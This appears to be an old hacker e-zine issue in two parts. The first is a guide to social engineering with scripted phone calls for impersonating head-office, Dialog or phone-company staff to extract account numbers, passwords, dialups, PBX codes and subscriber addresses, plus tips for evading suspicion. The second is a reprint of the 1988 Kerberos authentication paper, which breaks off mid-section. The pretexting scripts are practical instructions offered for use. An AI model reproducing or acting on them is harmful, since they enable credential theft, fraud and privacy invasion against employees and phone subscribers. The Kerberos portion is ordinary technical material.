/ Social Engineering A Way of Life /
/ Written by - Malefactor [OC] /
/ /
Disclaimer
------------
I take no responsibility for any of the information contained hearin
neither expressed nor implied. I also assume no responsibility for the actions
or interpretations of the end user neither expressed or implied. This file is
for informational purposes only and is an exercise of my right to freedom of
the press. Although a few people out there get turned on by a good book
burning.
Introduction
--------------
What exactly is social engineering? Social engineering is basically
the delicate art of deception and manipulation for your own personnel gain.
Social engineering can be used in every aspect of life to avoid a "F" when you
withdraw from some insidious class, to convice a friend to loan you money, or
where we are concerned to convice a company that you are who you say you are,
and to give you what you want or need. Through social engineering I have
gained accounts, dialups, and information on various things. This file is
meant to introduce you and familiarize you to social engineering, and where you
take it from there is your own concern.
Guidlines for Social Engineering
----------------------------------
1] When you know little or nothing about a company you are trying to get
accounts for never try to find out that information by asking local offices.
This not only ruins future sites that you could of gained accounts from, but
also may alert them as to your intentions. By calling out of state offices
the worst thing that can happen is you can raise suspicions in the Akron,
Ohio office and not your local Palm Springs,Ca. office.
2] Never hang up or panic. A few handy phrases are listed below
A] "Ohh I'm sorry I just started last week and am new here"
B] Or if they ask for a number where they can reach you say, "I'm sorry
but I am calling from an OutWATS line and cannot recieve incoming
calls" (although sometimes this does raise suspicions)
C] If you have a loop say, "Sure you can reach me at NPA-PRE-SUFF"
D] "Excuse me one moment let me get my supervisor"
E] begin to answer there question and mid-sentance say, "Please hold
I have another call"
3] Whenever possible do it in a team with a friend then in the event of a
"fuck-up" your friend can proceed to be either your supervisor, enraged boss
for your indiscretion, or the person who says, "Hello who are you holding
for?, I will have him/her call you back I need this line"
4] Never give them your home address or phone number, give them a busy number,
and a fake address. Unless you are getting manuals in that case you will
need a loop line and a drop site, PO Box, etc....
5] Always take control of the conversation the more confident you sound the
more apt they are to believe you. Always keep talking don't give them the
opportunity to get a word in edgewise and question you. If you stutter for
a moment some people will question you. Be firm, but not rude or
discourteous unless of course the situation calls for it.
Gaining information about an unknown service or company
---------------------------------------------------------
First off you will need to get a little information before you can
start doing anything. There are many avenues you can take, and I will list but
a few of the better ones.
Method 1
--------
T=Target Company
Y=You
Call the company or information and get the number to the company.
T=Hello Joe Blow's Aerospace.
Y=Hello this is richard weiss and I was recently considering investing in your
corporation, but would like to find out a little more about it. Can you tell
me where to call?
T=Ok, Mr. Weiss call 1-800-XXX-XXXX that is our stockholder information line.
Y=Thank you, and have a nice day
Now you may direct any questions about products, where their main office is
located, whether or not thier computerized, whether or not they utilize the
networks i.e. tymnet, telenet, etc..., quarterly reports (for what their
worth), etc...
Note:Another variation on this theme is to actually call and say you are a
stockholder and would like information usually they will send you out pamplets
and brochures on products and services they offer, but this could take weeks
and is 9 times out of 10 totally useless.
----
Now you should know whether or not they have a system, where their main office
is, and whether or not its accessible through telenet or tymnet (in some cases
they are reluctant to give out this information.) Now you are almost ready to
begin.
----
Call up a out of state office of your targeted corporation
T=Hello Joe Blow's Aerospace?
Y=Yes this is Edwin Meese from the Joe Blows Aerospace main office in super
city I need to speak with your computer division (or if it is a small
organization say I need to speak with your computer account operator)
T=One moment please (or the number is XXX-XXXX)
T=Hello this is john oberheim I operate the computer how many I help you?
Y=Well sir as you may or may not know we are recently updating your account and
I need to know which of our dialups you use to access the central system?
T=Well we call TEL-ENET.
(at this point you should be prepared if he gives you the local telenet or
tymnet dialup to recognize it)
Y=Ok yes sir, and after you connect to telenet which of our NUA's do you
connect to?
(At this point be prepared to explain what an NUA is and what a PSN is)
T=We connect to 212440
Y=Ok thank you sir for your cooperation and have a nice day.
T=No problem bye.
<click.>
----
Now you are ready to begin getting accounts you should have a dialup via
telenet or tymnet and an address, or an out-of-state dialup in which case
you can call another office in that city and get an account and password.
Hopefully by this point the first fool you called would of blurted out the
name of the system if he did not it might be a good idea to call another
office and find out what the system name is say something along the same lines
except add in their local port or telenet address and NUA and when you get to
the computer/system part say, "after you call xxx-xxxx and type 212440 you
connect with uhhh I forgot the name of our system it's on the tip of my tongue
I'm drawing a blank here etc..." at which point they blurt it out and you say
"thats it ohh i cant believe I forgot I need to get more sleep" after
this you can proceed to get this persons account and password using the below
method
----
Method 2
--------
This is method is best when you know everthing, and can skip the first
part.
T=Hello Joe Blow's Aerospace may I help you?
Y=Hello this is Ed McMan from Joe Blow's Aerospace main office in super city I
need to speak with your X account operator.
T=One moment please
T=This is ed how may I help you?
Y=Yes this is Ed McMan from Joe Blow's Aerospace main office in super city, and
we are currently updating your account on X (system name)
T=Uh huh?
Y=Our records show you are using our xxx-xxxx dialup and using X (system name)
at NUA 212440.
T=Yes.
Y=We need your account so we can update our records.
T=Sure no problem its 12ASFD21.
(This is where it gets tricky most people 9 out of 10 say yes unless you are
calling new york where they are dicks don't even bother)
Y=Ok and I also need your password.
T=Ok it's "secret"
(usually if it's user selected its pretty pathetic but most corporate systems
dont allow user selected passwords anymore if he says no then you have to say,
"I understand sir I will have my supervisor Bob Hope call you back whenever he
is free" or you can say, "I understand can you call me back at 212-222-LOOP?"
an added note here is if your calling from the main office supposedly in
chicago DONT GIVE THEM A 212 LOOP)
----
Vica-Versa: A good ploy when employees are reluctant to give out passwords is
to call the main office get connected w/the computer department and say you are
having problems by now you should at least be able to give them a dialup an nua
and an account, but no password. This they will provide for you say something
to the effect that your new and everyone is out of the office etc... and that
you lost the password to the account. Be real computer naive it works about
50% of the time depending on how convincing you sound.
----
Well that's the basics down now that you are aware of the basic principles
behind social engineering I will cite a more prevalent example.
----
Social Engineering Dialog Accounts
----------------------------------
What is dialog? Well according to thomas jefferson Dialog is Power.
Not really; just good for research and reports. If you want dialogs try
Libraries, Engineers, and Large Research Companies.
Here is what you say word for word.
L=Library, Engineering Firm, Large Research Company.
Y=You
L=Hello this is X company how may I help you?
Y=Yes this is Pia Zadora from dialog I need to speak with your dialog account
operator?
L=One moment please transferring your call..
L=Hello this is Charles Manson how may I help you?
Y=Yes this is Pia Zadore from dialog recently as you may or may not know there
was an earthquake in San Fransisco where all of our billing information is
stored and your account information is outdated as we had to use tape backups
from six months ago.
(This is where it gets tricky a company called "AIMES" does a lot of dialogs
billing in that case say you still need the information for your records)
L=Ohh yes I heard it was awful. How can I help you?
Y=Well I need to find out when you were last billed by us and on what account?
(On Dialog bills the account number is used as a cover sheet on the bill)
L=One moment please (or they might say their accountant isn't in or that it
will take some time to dig up)
(Option one if she's got it. Option two if she says it will take some time)
Option 1
--------
T=Hello?
Y=Yes.
T=We were last billed August 13, on account 203247 and we were also billed
August 13 on our other account 103452.
Y=Thank you and what are the passwords on those two accounts?
T=They are both "ursula"
Y=Ok thank you very much have a nice day.
Option 2
--------
L=Ok well I need this information now I have a lot of other calls to make whats
your account and password and I will try to pull it up through the network?
T=The account is 292910 and the password is "bubba"
L=Ok hold on for one moment.
L=I was unable to pull up the information. When do you think you will have
the records and when would be a good time to call back I really need the last
billing period?
T=4 o'clock.
(Ok so you call back and get the worthless information but they trust you more
not every place you call will be easy if they are the least bit reluctant or
untrusting lead them for ahwile talk and chat about the earthquake the weather
or whatever turns em on. The reason you call back later is so that they don't
call dialog with the last billing period trying to be helpful and killing your
accounts)
Social Engineering and the buisness office
------------------------------------------
Ok to find out information on a line listed or unlisted you can call
the buisness office. Occassionally they won't give out information or they
will want your local CNA or to actually call you back. Most of the time
however they don't. The only ones that seem to be a bit fickle are 612 and 713
that I have encountered. It's just a matter of who you get. This works better
than CNA and usually isn't as hard to get through to.
B=Buisness Office
Y=You
----
B=Hello this is the buisness office how may I help you?
Y=Hello this is richard weiss of michigan bell I need a CNA Listing (or just a
listing) on NPA-PRE-SUFF.
B=Ok that number is billed to joe blow.
Y=Ok and do you have an address on that?
B=Yes its 1234 laurel lane.
Y=And are there any other numbers billed to that account?
B=Yes there is 123-456-6789 and 123-456-1234
Y=Thank you have a nice day.
<click.>
----
Socially Engineering Mcdonalds Accounts
---------------------------------------
This is the best one for you to practice your art on their are a
multitude of Mcdonalds all across the nation and if they arn't a franchise they
have a TI and ISP account on their mainframe accesible through telenet. A
little background information their computer is at NUA 313160, and you enter
your password then account. The passwords are in the format 1,XRRRRRR, and the
accounts are usually MSNNNNNN. (The R's represent Randomn mixture of Letters
and Numbers and the N's represent Numbers)
M=Mcdonalds
Y=You
M=Hello this is Mcdonalds I am McChuck can I McHelp McYou?
Y=Yes this is McGandi from the main McOffice in McChicago I need to speak with
the McManager.
M=This is the McManager McZsa Zsa Gabor how can I McHelp McYou?
Y=We are currently updating your account are you the one who actually calls in
and does the tandem reports?
M=McYes that's me.
Y=Allright so you call McTEL-NET (give em the number to telenet) and McConnect
to McNUA 313160?
M=McYes that's McRight.
Y=Ok well I need your ISP Account and Password.
M=Ok my account is 1,X23T2NN and my McAccount is MS629191.
Y=Ok thank you and have a nice day.
(A variation on this theme is to ask for the TI account and password another
account type I have found they have with less priveleges than the ISP accounts.
Unfortunatly the Mc's are all necessary it is a specialized McCode they use,
and if you don't use it they McSpit in your McFace, and if you Mcbelieve that
don't McTry McShit cause noone will McBelieve McYou. Seriously though the TI's
are easier to get and more people than just the manager use them sometimes the
managers make careers moves out of McDonalds (really brilliant individuals
lemme tell ya) so they are fickle, so if the manager isn't in ask if they call
in to the computer in the main office and then proceed to get their account.)
----
Variations on the themes
------------------------
1] If you want manuals call up a location pretending to be someone else and say
we are currently updating our manuals, and if you send us your manual you
will recieve one for free blah blah blah.
2] If you need to find out commands or information on a system call up and say
something to the effect I am calling from the main office and we are
re-doing our system and taking a survey on it to see what changes to make
which commands do you use the most often, and what commands do you feel are
difficult to use and why?
3] Call up one office pretending to be from another and say your account is
being updated or your computer system is down and you need theirs.
This works excellently!
-----------------------
4] Call up large company buildings get transferred from about three departments
until you are where you want to be and say, "Hello this is Tammy Fae Baker
up in marketing on the third floor I need the code to the PBX, computer, or
whatever you want.
5] Call up big department stores around christmas and get transferred a few
times and when you get to a sales department say, "This is Joe in childrens
clothes I need the tele-check number (or whatever credit check service they
use)" If they give you any lip say look some kid tore off the sticker and
I am going nuts down here.
6] Be creative and if you think you have something special figured out leave me
mail I'd like to hear about it.
Note: Unauthorized distribution or alteration of this file may result in severe
credit damage.
=============================================================================
/ /
/ File 05 / NIA070 /
/ Kerberos Unix Manual /
/ Submitted by /
/ Doctor Dissector [PHA/P4] /
/ (doctord@darkside.com) /
/ /
$_Disclaimer
The author and the sponsor groups Phreakers/Hackers/Anarchists, The
Phantastic Phor and NIA will not be held responsible for any actions done
by anyone reading this material before, during, and after exposure to this
document. This document has been released under the notion that the
material presented herin is for informational purposes only, and that
neither the author nor the groups P/H/A and P4 encourage the use of this
information for any type of illegal purpose. Thank you.
$_Greets & Messages
To All Network Hackers: "Party On Dewdz!"
Yo! To Kryptic Night, PhantasMumble, Pain Hertz, Doc Holiday, Black Death,
Killer Korean, M.I.T., Anonymous Anarchist, Brownstone, Judge Dredd,
Yellow Jacket, So76, Synaptic Assult, FuZaGi, HyperCube, OverDose,
and ANYONE else I could have possibly forgotten....
$_Quote
In response to all the needless bickering that has plagued the hacker
community from the beginning; the eternal problem of the "elite"
barrier between the most knowledgable and the learning.
"Knowledge Is Power," BUT, "Absolute Power Corrupts Absolutely."
$_Kerberos: USENIX.TXT
Below is the file USENIX.TXT which was part of a larger archive,
(kerberos.tar.Z) which was originally ftp'd from samba.acs.unc.edu.
The current release patch is at 9, and more versions appear to be
on the way. My suggestion to you, if you truely are interested in
Kerberos, is to ftp the entire kerberos.tar.Z archive to your
unix to pick it apart (uncompressed, the kerberos.tar file is over
four megabytes long, so be forewarned). Enjoy.
-----------------------------------------------------------
Kerberos: An Authentication Service for Open
Network Systems
Jennifer G. Steiner
Project Athena
Massachusetts Institute of Technology
Cambridge, MA 02139
steiner@ATHENA.MIT.EDU
Clifford Neuman
Department of Computer Science, FR-35
University of Washington
Seattle, WA 98195
bcn@CS.WASHINGTON.EDU
Jeffrey I. Schiller
Project Athena
Massachusetts Institute of Technology
Cambridge, MA 02139
jis@ATHENA.MIT.EDU
ABSTRACT
In an open network computing environment, a
workstation cannot be trusted to identify its
users correctly to network services. Kerberos
provides an alternative approach whereby a trusted
third-party authentication service is used to ver-
ify users' identities. This paper gives an over-
view of the Kerberos authentication model as
implemented for MIT's Project Athena. It
describes the protocols used by clients, servers,
and Kerberos to achieve authentication. It also
describes the management and replication of the
database required. The views of Kerberos as seen
by the user, programmer, and administrator are
described. Finally, the role of Kerberos in the
larger Athena picture is given, along with a list
__________________________
Clifford Neuman was a member of the Project Athena
staff during the design and initial implementation
phase of Kerberos.
March 30, 1988
- 2 -
of applications that presently use Kerberos for
user authentication. We describe the addition of
Kerberos authentication to the Sun Network File
System as a case study for integrating Kerberos
with an existing application.
Introduction
This paper gives an overview of Kerberos, an authenti-
cation system designed by Miller and Neuman[1] for open net-
work computing environments, and describes our experience
using it at MIT's Project Athena.[2] In the first section of
the paper, we explain why a new authentication model is
needed for open networks, and what its requirements are.
The second section lists the components of the Kerberos
software and describes how they interact in providing the
authentication service. In Section 3, we describe the Ker-
beros naming scheme.
Section 4 presents the building blocks of Kerberos
authentication - the ticket and the authenticator. This
leads to a discussion of the two authentication protocols:
the initial authentication of a user to Kerberos (analogous
to logging in), and the protocol for mutual authentication
of a potential consumer and a potential producer of a net-
work service.
Kerberos requires a database of information about its
clients; Section 5 describes the database, its management,
and the protocol for its modification. Section 6 describes
the Kerberos interface to its users, applications program-
mers, and administrators. In Section 7, we describe how the
Project Athena Kerberos fits into the rest of the Athena
environment. We also describe the interaction of different
Kerberos authentication domains, or realms; in our case, the
relation between the Project Athena Kerberos and the Ker-
beros running at MIT's Laboratory for Computer Science.
In Section 8, we mention open issues and problems as
yet unsolved. The last section gives the current status of
Kerberos at Project Athena. In the appendix, we describe in
detail how Kerberos is applied to a network file service to
authenticate users who wish to gain access to remote file
systems.
Conventions. Throughout this paper we use terms that
may be ambiguous, new to the reader, or used differently
elsewhere. Below we state our use of those terms.
User, Client, Server. By user, we mean a human being
who uses a program or service. A client also uses
March 30, 1988
- 3 -
something, but is not necessarily a person; it can be a pro-
gram. Often network applications consist of two parts; one
program which runs on one machine and requests a remote ser-
vice, and another program which runs on the remote machine
and performs that service. We call those the client side
and server side of the application, respectively. Often, a
client will contact a server on behalf of a user.
Each entity that uses the Kerberos system, be it a user
or a network server, is in one sense a client, since it uses
the Kerberos service. So to distinguish Kerberos clients
from clients of other services, we use the term principal to
indicate such an entity. Note that a Kerberos principal can
be either a user or a server. (We describe the naming of
Kerberos principals in a later section.)
Service vs. Server. We use service as an abstract
specification of some actions to be performed. A process
which performs those actions is called a server. At a given
time, there may be several servers (usually running on dif-
ferent machines) performing a given service. For example,
at Athena there is one BSD UNIX rlogin server running on
each of our timesharing machines.
Key, Private Key, Password. Kerberos uses private key
encryption. Each Kerberos principal is assigned a large
number, its private key, known only to that principal and
Kerberos. In the case of a user, the private key is the
result of a one-way function applied to the user's password.
We use key as shorthand for private key.
Credentials. Unfortunately, this word has a special
meaning for both the Sun Network File System and the Ker-
beros system. We explicitly state whether we mean NFS
credentials or Kerberos credentials, otherwise the term is
used in the normal English language sense.
Master and Slave. It is possible to run Kerberos
authentication software on more than one machine. However,
there is always only one definitive copy of the Kerberos
database. The machine which houses this database is called
the master machine, or just the master. Other machines may
possess read-only copies of the Kerberos database, and these
are called slaves.
1. Motivation
In a non-networked personal computing environment,
resources and information can be protected by physically
securing the personal computer. In a timesharing computing
environment, the operating system protects users from one
another and controls resources. In order to determine what
each user is able to read or modify, it is necessary for the
timesharing system to identify each user. This is
March 30, 1988
- 4 -
accomplished when the user logs in.
In a network of users requiring services from many
separate computers, there are three approaches one can take
to access control: One can do nothing, relying on the
machine to which the user is logged in to prevent unauthor-
ized access; one can require the host to prove its identity,
but trust the host's word as to who the user is; or one can
require the user to prove her/his identity for each required
service.
In a closed environment where all the machines are
under strict control, one can use the first approach. When
the organization controls all the hosts communicating over
the network, this is a reasonable approach.
In a more open environment, one might selectively trust
only those hosts under organizational control. In this
case, each host must be required to prove its identity. The
rlogin and rsh programs use this approach. In those proto-
cols, authentication is done by checking the Internet
address from which a connection has been established.
In the Athena environment, we must be able to honor
requests from hosts that are not under organizational con-
trol. Users have complete control of their workstations:
they can reboot them, bring them up standalone, or even boot
off their own tapes. As such, the third approach must be
taken; the user must prove her/his identity for each desired
service. The server must also prove its identity. It is
not sufficient to physically secure the host running a net-
work server; someone elsewhere on the network may be
masquerading as the given server.
Our environment places several requirements on an iden-
tification mechanism. First, it must be secure. Circum-
venting it must be difficult enough that a potential
attacker does not find the authentication mechanism to be
the weak link. Someone watching the network should not be
able to obtain the information necessary to impersonate
another user. Second, it must be reliable. Access to many
services will depend on the authentication service. If it
is not reliable, the system of services as a whole will not
be. Third, it should be transparent. Ideally, the user
should not be aware of authentication taking place.
Finally, it should be scalable. Many systems can communi-
cate with Athena hosts. Not all of these will support our
mechanism, but software should not break if they did.
Kerberos is the result of our work to satisfy the above
requirements. When a user walks up to a workstation s/he
``logs in''. As far as the user can tell, this initial
identification is sufficient to prove her/his identity to
all the required network servers for the duration of the
March 30, 1988
- 5 -
login session. The security of Kerberos relies on the secu-
rity of several authentication servers, but not on the sys-
tem from which users log in, nor on the security of the end
servers that will be used. The authentication server pro-
vides a properly authenticated user with a way to prove
her/his identity to servers scattered across the network.
Authentication is a fundamental building block for a
secure networked environment. If, for example, a server
knows for certain the identity of a client, it can decide
whether to provide the service, whether the user should be
given special privileges, who should receive the bill for
the service, and so forth. In other words, authorization
and accounting schemes can be built on top of the authenti-
cation that Kerberos provides, resulting in equivalent secu-
rity to the lone personal computer or the timesharing sys-
tem.
2. What is Kerberos?
Kerberos is a trusted third-party authentication ser-
vice based on the model presented by Needham and
Schroeder.[3] It is truste
d in the sense that each of its
clients believes Kerberos' judgement as to the identity of
each of its other clients to be accurate. Timestamps (large
numbers representing the current date and time) have been
added to the original model to aid in the detection of
replay. Replay occurs when a message is stolen off the net-
work and resent later. For a more complete description of
replay, and other issues of authentication, see Voydock and
Kent.[4]
2.1. What Does It Do?
Kerberos keeps a database of its clients and their
private keys. The private key is a large number known only
to Kerberos and the client it belongs to. In the case that
the client is a user, it is an encrypted password. Network
services requiring authentication register with Kerberos, as
do clients wishing to use those services. The private keys
are negotiated at registration.
Because Kerberos knows these private keys, it can
create messages which convince one client that another is
really who it claims to be. Kerberos also generates tem-
porary private keys, called session keys, which are given to
two clients and no one else. A session key can be used to
encrypt messages between two parties.
Kerberos provides three distinct levels of protection.
The application programmer determines which is appropriate,
according to the requirements of the application. For exam-
ple, some applications require only that authenticity be
established at the initiation of a network connection, and
March 30, 1988
- 6 -
can assume that further messages from a given network
address originate from the authenticated party. Our authen-
ticated network file system uses this level of security.
Other applications require authentication of each mes-
sage, but do not care whether the content of the message is
disclosed or not. For these, Kerberos provides safe mes-
sages. Yet a higher level of security is provided by
private messages, where each message is not only authenti-
cated, but also encrypted. Private messages are used, for
example, by the Kerberos server itself for sending passwords
over the network.
2.2. Software Components
The Athena implementation comprises several modules
(see Figure 1). The Kerberos applications library provides
an interface for application clients and application
servers. It contains, among others, routines for creating
or reading authentication requests, and the routines for
creating safe or private messages.
o Kerberos applications library
o encryption library
o database library
o database administration programs
o administration server
o authentication server
o db propagation software
o user programs
o applications
Figure 1. Kerberos Software Components.
Encryption in Kerberos is based on DES, the Data
Encryption Standard.[5] The encryption library implements
those routines. Several methods of encryption are provided,
with tradeoffs between speed and security. An extension to
the DES Cypher Block Chaining (CBC) mode, called the Pro-
pagating CBC mode, is also provided. In CBC, an error is
propagated only through the current block of the cipher,
whereas in PCBC, the error is propagated throughout the mes-
sage. This renders the entire message useless if an error
occurs, rather than just a portion of it. The encryption
library is an independent module, and may be replaced with
other DES implementations or a different encryption library.
Another replaceable module is the database management
system. The current Athena implementation of the database
library uses ndbm, although Ingres was originally used.
Other database management libraries could be used as well.
March 30, 1988
- 7 -
The Kerberos database needs are straightforward; a
record is held for each principal, containing the name,
private key, and expiration date of the principal, along
with some administrative information. (The expiration date
is the date after which an entry is no longer valid. It is
usually set to a few years into the future at registration.)
Other user information, such as real name, phone
number, and so forth, is kept by another server, the Hesiod
nameserver.[6] This way, sensitive information, namely pass-
words, can be handled by Kerberos, using fairly high secu-
rity measures; while the non-sensitive information kept by
Hesiod is dealt with differently; it can, for example, be
sent unencrypted over the network.
The Kerberos servers use the database library, as do
the tools for administering the database.
The administration server (or KDBM server) provides a
read-write network interface to the database. The client
side of the program may be run on any machine on the net-
work. The server side, however, must run on the machine
housing the Kerberos database in order to make changes to
the database.
The authentication server (or Kerberos server), on the
other hand, performs read-only operations on the Kerberos
database, namely, the authentication of principals, and gen-
eration of session keys. Since this server does not modify
the Kerberos database, it may run on a machine housing a
read-only copy of the master Kerberos database.
Database propagation software manages replication of
the Kerberos database. It is possible to have copies of the
database on several different machines, with a copy of the
authentication server running on each machine. Each of
these slave machines receives an update of the Kerberos
database from the master machine at given intervals.
Finally, there are end-user programs for logging in to
Kerberos, changing a Kerberos password, and displaying or
destroying Kerberos tickets (tickets are explained later
on).
3. Kerberos Names
Part of authenticating an entity is naming it. The
process of authentication is the verification that the
client is the one named in a request. What does a name con-
sist of? In Kerberos, both users and servers are named. As
far as the authentication server is concerned, they are
equivalent. A name consists of a primary name, an instance,
and a realm, expressed as name.instance@realm (see Figure
2).
March 30, 1988
- 8 -
bcn
treese.root
jis@LCS.MIT.EDU
rlogin.priam@ATHENA.MIT.EDU
Figure 2. Kerberos Names.
The primary name is the name of the user or the ser-
vice. The instance is used to distinguish among variations
on the primary name. For users, an instance may entail spe-
cial privileges, such as the ``root'' or ``admin''
instances. For services in the Athena environment, the
instance is usually the name of the machine on which the
server runs. For example, the rlogin service has different
instances on different hosts: rlogin.priam is the rlogin
server on the host named priam. A Kerberos ticket is only
good for a single named server. As such, a separate ticket
is required to gain access to different instances of the
same service. The realm is the name of an administrative
entity that maintains authentication data. For example,
different institutions may each have their own Kerberos
machine, housing a different database. They have different
Kerberos realms. (Realms are discussed further in section
8.2.)
4. How It Works
This section describes the Kerberos authentication pro-
tocols. The following abbreviations are used in the fig-
ures.
c -> client
s -> server
addr -> client's network address
life -> lifetime of ticket
tgs, TGS -> ticket-granting server
Kerberos -> authentication server
KDBM -> administration server
Kx -> x's private key
Kx,y -> session key for x and y
{abc}Kx -> abc encrypted in x's key
Tx,y -> x's ticket to use y
Ax -> authenticator for x
WS -> workstation
As mentioned above, the Kerberos authentication model is
based on the Needham and Schroeder key distribution proto-
col. When a user requests a service, her/his identity must
March 30, 1988
- 9 -
be established. To do this, a ticket is presented to the
server, along with proof that the ticket was originally
issued to the user, not stolen. There are three phases to
authentication through Kerberos. In the first phase, the
user obtains credentials to be used to request access to
other services. In the second phase, the user requests
authentication for a specific service. In the final phase,
the user presents those credentials to the end server.
4.1. Credentials
There are two types of credentials used in the Kerberos
authentication model: tickets and authenticators. Both are
based on private key encryption, but they are encrypted
using different keys. A ticket is used to securely pass the
identity of the person to whom the ticket was issued between
the authentication server and the end server. A ticket also
passes information that can be used to make sure that the
person using the ticket is the same person to which it was
issued. The authenticator contains the additional informa-
tion which, when compared against that in the ticket proves
that the client presenting the ticket is the same one to
which the ticket was issued.
A ticket is good for a single server and a single
client. It contains the name of the server, the name of the
client, the Internet address of the client, a timestamp, a
lifetime, and a random session key. This information is
encrypted using the key of the server for which the ticket
will be used. Once the ticket has been issued, it may be
used multiple times by the named client to gain access to
the named server, until the ticket expires. Note that
because the ticket is encrypted in the key of the server, it
is safe to allow the user to pass the ticket on to the
server without having to worry about the user modifying the
ticket (see Figure 3).
{s, c, addr, timestamp, life, Ks,c}Ks
Figure 3. A Kerberos Ticket.
Unlike the ticket, the authenticator can only be used
once. A new one must be generated each time a client wants
to use a service. This does not present a problem because
the client is able to build the authenticator itself. An
authenticator contains the name of the client, the
workstation's IP address, and the current workstation time.
The authenticator is encrypted in the session key that is
part of the ticket (see Figure 4).
March 30, 1988
- 10 -
{c, addr, timestamp}Ks,c
Figure 4. A Kerberos Authenticator.
4.2. Getting the Initial Ticket
When the user walks up to a workstation, only one piece
of information can prove her/his identity: the user's pass-
word. The initial exchange with the authentication server
is designed to minimize the chance that the password will be
compromised, while at the same time not allowing a user to
properly authenticate her/himself without knowledge of that
password. The process of logging in appears to the user to
be the same as logging in to a timesharing system. Behind
the scenes, though, it is quite different (see Figure 5).
linewid = 1.5i
ellipsewid = .7i
ellipse "Client"
arrow "c, tgs" ""
ellipse "Kerberos"
linewid = 1.5i
ellipsewid = .7i
ellipse "Client"
line <- "" "{Kc,tgs,{Tc,tgs} Ktgs}Kc"
ellipse "Kerberos"
Figure 5. Getting the Initial Ticket.
The user is prompted for her/his username. Once it has
been entered, a request is sent to the authentication server
containing the user's name and the name of a special service
known as the ticket-granting service.
The authentication server checks that it knows about
the client. If so, it generates a random session key which
will later be used between the client and the ticket-
granting server. It then creates a ticket for the ticket-
granting server which contains the client's name, the name
of the ticket-granting server, the current time, a lifetime
for the ticket, the client's IP address, and the random ses-
sion key just created. This is all encrypted in a key known
only to the ticket-granting server and the authentication
server.
The authentication server then sends the ticket, along
with a copy of the random session key and some additional
information, back to the client. This response is encrypted
in the client's private key, known only to Kerberos and the
client, which is derived from the user's password.
March 30, 1988
- 11 -
Once the response has been received by the client, the
user is asked for her/his password. The password is con-
verted to a DES key and used to decrypt the response from
the authentication server. The ticket and the session key,
along with some of the other information, are stored for
future use, and the user's password and DES key are erased
from memory.
Once the exchange has been completed, the workstation
possesses information that it can use to prove the identity
of its user for the lifetime of the ticket-granting ticket.
As long as the software on the workstation had not been pre-
viously tampered with, no information exists that will allow
someone else to impersonate the user beyond the life of the
ticket.
4.3. Requesting a Service
For the moment, let us pretend that the user already
has a ticket for the desired server. In order to gain
access to the server, the application builds an authentica-
tor containing the client's name and IP address, and the
current time. The authenticator is then encrypted in the
session key that was received with the ticket for the
server. The client then sends the authenticator along with
the ticket to the server in a manner defined by the indivi-
dual application.
Once the authenticator and ticket have been received by
the server, the server decrypts the ticket, uses the session
key included in the ticket to decrypt the authenticator,
compares the information in the ticket with that in the
authenticator, the IP address from which the request was
received, and the present time. If everything matches, it
allows the request to proceed (see Figure 6).
linewid = 1.5i
ellipsewid = .7i
ellipse "Client"
arrow "{Ac}Kc,s, {Tc,s}Ks" ""
ellipse "Server"
Figure 6. Requesting a Service.
It is assumed that clocks are synchronized to within
several minutes. If the time in the request is too far in
the future or the past, the server treats the request as an
attempt to replay a previous request. The server is also
allowed to keep track of all past requests with timestamps
that are still valid. In order to further foil replay
attacks, a request received with the same ticket and time-
stamp as one already received can be discarded.
Finally, if the client specifies that it wants the
March 30, 1988
- 12 -
server to prove its identity too, the server adds one to the
timestamp the client sent in the authenticator, encrypts the
result in the session key, and sends the result back to the
client (see Figure 7).
linewid = 1.5i
ellipsewid = .7i
ellipse "Client"
line <- "" "{timestamp + 1} Kc,s"
ellipse "Server"
Figure 7. Mutual Authentication.
At the end of this exchange, the server is certain
that, according to Kerberos, the client is who it says it
is. If mutual authentication occurs, the client is also
convinced that the server is authentic. Moreover, the
client and server share a key which no one else knows, and
can safely assume that a reasonably recent message encrypted
in that key originated with the other party.
4.4. Getting Server Tickets
Recall that a ticket is only good for a single server.
As such, it is necessary to obtain a separate ticket for
each service the client wants to use. Tickets for indivi-
dual servers can be obtained from the ticket-granting ser-
vice. Since the ticket-granting service is itself a ser-
vice, it makes use of the service access protocol described
in the previous section.
When a program requires a ticket that has not already
been requested, it sends a request to the ticket-granting
server (see Figure 8). The request contains the name of the
server for which a ticket is requested, along with the
ticket-granting ticket and an authenticator built as
described in the previous section.
linewid = 1.7i
ellipsewid = .7i
ellipse "Client"
arrow "s,{Tc,tgs}Ktgs,{Ac}Kc,tgs" ""
ellipse "TGS"
linewid = 1.7i
ellipsewid = .7i
ellipse "Client"
line <- "" "{{Tc,s}Ks,Kc,s}Kc,tgs"
ellipse "TGS"
Figure 8. Getting a Server Ticket.
The ticket-granting server then checks the authentica-
tor and ticket-granting ticket as described above. If
March 30, 1988
- 13 -
valid, the ticket-granting server generates a new random
session key to be used between the client and the new
server. It then builds a ticket for the new server contain-
ing the client's name, the server name, the current time,
the client's IP address and the new session key it just gen-
erated. The lifetime of the new ticket is the minimum of
the remaining life for the ticket-granting ticket and the
default for the service.
The ticket-granting server then sends the ticket, along
with the session key and other information, back to the
client. This time, however, the reply is encrypted in the
session key that was part of the ticket-granting ticket.
This way, there is no need for the user to enter her/his
password again. Figure 9 summarizes the authentication pro-
tocols.
circlerad = .32i
Kerbie:
circle at -1,1 "Kerberos"
Client:
circle at 0,0 "User/" "Client"
TGS:
circle at 1,1 "TGS"
Server:
circle at 1.75,0 "Server"
arrow from Client.w to Kerbie.s "1 " below
arrow from Kerbie.e to Client.n " 2" above
arrow from Client.n to TGS.w "3" above
arrow from TGS.s to Client.e "4" above
arrow from Client.e to Server.w "5" above
1. Request for TGS ticket
2. Ticket for TGS
3. Request for Server ticket
4. Ticket for Server
5. Request for service
Figure 9. Kerberos Authentication Protocols.
5. The Kerberos Database
Up to this point, we have discussed operations requir-
ing read-only access to the Kerberos database. These opera-
tions are performed by the authentication service, which can
run on both master and slave machines (see Figure 10).
March 30, 1988
- 14 -
boxwid = .5i
WS1:
box
move right
WS2:
box
move right
WS3:
box
move right
Box1:
box invis with .n at WS1.s-(0,.5i)
Slave:
box
move right
Master:
box
Titles:
"WS" at WS1.n above
"WS" at WS2.n above
"WS" at WS3.n above
"Slave" at Slave.s below
"Master" at Master.s below
Arrows:
arrow from WS1.s to Slave.n
arrow from WS2.s to Slave.n
arrow from WS3.s to Slave.n
arrow from WS1.s to Master.n
arrow from WS2.s to Master.n
arrow from WS3.s to Master.n
Figure 10. Authentication Requests.
In this section, we discuss operations that require
write access to the database. These operations are per-
formed by the administration service, called the Kerberos
